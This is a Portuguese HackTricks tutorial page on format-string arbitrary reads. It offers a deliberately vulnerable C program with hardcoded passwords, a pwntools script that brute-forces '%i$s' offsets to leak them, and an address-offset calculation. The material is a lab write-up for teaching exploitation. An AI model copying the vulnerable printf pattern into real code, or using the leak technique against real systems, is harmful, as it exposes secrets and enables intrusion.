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* [Array Indexing](binary-exploitation/array-indexing.md) * [Array Indexing](binary-exploitation/array-indexing.md)
* [Integer Overflow](binary-exploitation/integer-overflow.md) * [Integer Overflow](binary-exploitation/integer-overflow.md)
* [Format Strings](binary-exploitation/format-strings/README.md) * [Format Strings](binary-exploitation/format-strings/README.md)
* [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md)
* [Format Strings Template](binary-exploitation/format-strings/format-strings-template.md) * [Format Strings Template](binary-exploitation/format-strings/format-strings-template.md)
* [Heap](binary-exploitation/heap/README.md) * [Heap](binary-exploitation/heap/README.md)
* [Use After Free](binary-exploitation/heap/use-after-free.md) * [Use After Free](binary-exploitation/heap/use-after-free.md)

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# Exemplo de Leitura Arbitrária - Strings de Formato
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
## Código
```c
#include <stdio.h>
#include <string.h>
char bss_password[20] = "hardcodedPassBSS"; // Password in BSS
int main() {
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];
printf("Enter first password: ");
scanf("%19s", input1);
printf("Enter second password: ");
scanf("%19s", input2);
// Vulnerable printf
printf(input1);
printf("\n");
// Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}
return 0;
}
```
Compile com:
```bash
clang -o fs-read fs-read.c -Wno-format-security
```
### Ler da pilha
A **`stack_password`** será armazenada na pilha porque é uma variável local, então apenas abusar do printf para mostrar o conteúdo da pilha é suficiente. Este é um exploit para BF as primeiras 100 posições para vazar as senhas da pilha:
```python
from pwn import *
for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()
```
Na imagem é possível ver que podemos vazar a senha da pilha na posição `10ª`:
<figure><img src="../../.gitbook/assets/image (1231).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1230).png" alt="" width="338"><figcaption></figcaption></figure>
Executando o mesmo exploit, mas com `%p` em vez de `%s`, é possível vazar um endereço de heap da pilha em `%5$p`:
<figure><img src="../../.gitbook/assets/image (1232).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1233).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1234).png" alt=""><figcaption></figcaption></figure>
A diferença entre o endereço vazado e o endereço da senha é:
```
> print 0xaaaaaaac12b2 - 0xaaaaaaac0048
$1 = 0x126a
```
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>